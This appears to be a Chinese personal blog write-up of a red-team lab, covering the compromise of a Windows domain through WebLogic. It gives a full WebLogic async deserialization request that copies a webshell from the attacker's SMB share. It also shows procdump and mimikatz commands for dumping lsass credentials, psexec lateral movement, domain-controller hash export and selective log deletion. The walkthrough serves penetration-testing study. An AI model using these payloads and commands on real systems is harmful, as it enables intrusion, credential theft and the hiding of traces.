tkcharlotte's blog

前言

红日安全出的第二套靶场

http://vulnstack.qiyuanxuetang.net/vuln/detail/3/

靶场环境做了一点改动,欢迎师傅指点更好的姿势..

关于域渗透的一些知识可以参考我的另一篇文章域渗透姿势总结 :)

环境

三台主机组成的单域环境

  • WIN2K8 —- web 模拟外网 / 192.168.3.141 & 10.10.10.80 双网卡
  • PC ———- 模拟内网主机 / 10.10.10.201
  • DC ——— 域控机器 / 10.10.10.10

过程

先对开放的外网机器信息收集。

扫一下端口

7001端口,weblogic10.3.6.0

访问之

针对该版本的weblogic,可以尝试下反序列化漏洞 & 弱口令

反序列化漏洞是由 wls9-async组件 导致的,该组件默认开启,看一下是否存在该漏洞

访问192.168.3.141:7001/_async

192.168.3.141:7001/_async/AsyncResponseService

测试存在该漏洞,直接抓包尝试反弹shell

使用powershell等方式反弹shell均失败,猜测可能有防护软件,windows下命令相对少一些,转变思路,写入木马。

尝试了powershell/bitsadmin/certuil等方式,都被禁掉了==

想直接通过命令echo 一个jsp的马 因为%的问题老是报错,本来想编码一下再写进去,没找到好的编码命令。

最终的解决方案是本地搭建一个smb服务器,通过文件共享的方式把文件拷贝到目标机上。

kali下自带impacket,通过impacket-smbserver 起一个服务

impacker-smbserver ShareName SharePath

抓包执行copy命令,将冰蝎马拷贝到weblogicweb目录中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.3.141:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Connection: close
Content-Type: text/xml
Content-Length: 769

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>copy \\192.168.3.128\share\shell.jsp n.jsp </string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

访问一下,500 ,连接马

收集信息,systeminfo查看补丁信息,基本没打补丁

1
2
3
[01]: KB299922
[02]: KB958488
[03]: KB976902

提权辅助页 查一下能用的exp,为后续做准备。

whoami查看当前权限,管理员权限..

查看网卡信息,发现存在内网。

存在域环境,定位到域控ip为10.10.10.10

因为拿到的权限就是管理权限,接下来思路就很清晰,抓哈希,横向渗透,登域控,导出哈希。

如果拿到的是一个本地用户权限,可以查询当前机器上登录过的其他用户的令牌,窃取域用户的令牌来探测域用户。meterpreter下的incognito插件很方便。

尝试提权,查看进程发现有数字卫士,手头暂时又没有免杀的提权脚本,提权先放一放。

抓取哈希,使用微软官方的procdump.exe导出lsass.exe内存,本地mimikatz读取。

1
2
3
4
5
procdump.exe -accepteula -ma lsass.exe lsass.dmp

mimikatz::sekurlsa:minidump lsass.dmp

mimikatz::sekurlsa:logonpasswords

上传reGeorgSocksProxy.py 提供的jsp文件,代理进内网,也可以用冰蝎自带的socks代理

内网探测到两台存活主机,10.10.10.201 以及10.10.10.10

10.10.10.201 是域内一台成员机,10.10.10.10是域控机器。

proxychains挂代理扫一下开放的端口,没扫到啥有用的东西,尝试使用抓到的哈希登录。

msfpsexec模块连接失败,使用微软官方自带的psexec.exe连接成功,拿下该主机。

查看进程发现也安装了数字卫士,前期的操作都拦截了==

继续使用psexec远程执行命令

域控机器上未安装任何防护软件,可以直接用powershell或者法国神器导出哈希,也可以将该文件拖回本地提取,如果域内用户较多,该文件可能比较大,文件回传可能会有些问题。

使用vshadow.exe导出文件,然后拖回本地提取哈希。具体的细节可以看我另一篇文章

kali下使用rdesktop访问3389,也可以在windows下使用proxifier全局代理mstsc.exe连接远程桌面。

测试完成后清理痕迹,把相关日志删除掉,全部删除动静太大,只删除指定的日志,操作可以看三好学生师傅的文章

踩得坑

procdump运行问题

经过测试,procdump.exe使用管理员权限就能转储进程内存,命令行下直接运行会在靶机弹出界面需要点同意才能转储,可以使用procdump64.exe -accepteula -ma lsass.exe lsass.dmp 直接执行。

psexec 问题

有了域管账号密码,使用psexec.exe连不上域内机器,提示所有管道反例都在使用中

使用-s参数 获得一个system权限的shell

cmd乱码

使用chcp命令切换编码

chcp 65001 //utf-8编码

总结

weblogic以管理员权限启动,

因为跳板机与域内主机安装了防护软件,常见的白名单执行方式都没法使用,对免杀提出了很高的要求(后来测试发现可以使用msbuild.exe 白+黑的方式执行exp,反弹shell,弹到msf或者cs上更利于下一步的渗透。)

拿到权限后,可以把shell反弹到cs上,后续渗透操作会方便很多,也利于团队协作。

weblogic除了反序列化的洞以外,也存在弱口令1qaz@WSX,部署war包拿权限也应该可行。

因为直接拿到了账户密码,如果只能获得哈希,可以使用msfpsexec模块传递哈希值,有了域内用户的账号密码,也可以尝试MS14-068kerberos协议,因为要在被控机上注入票据,被控机有防护,暂时无法突破…

 评论


载入天数...载入时分秒... | 字数统计:16.9k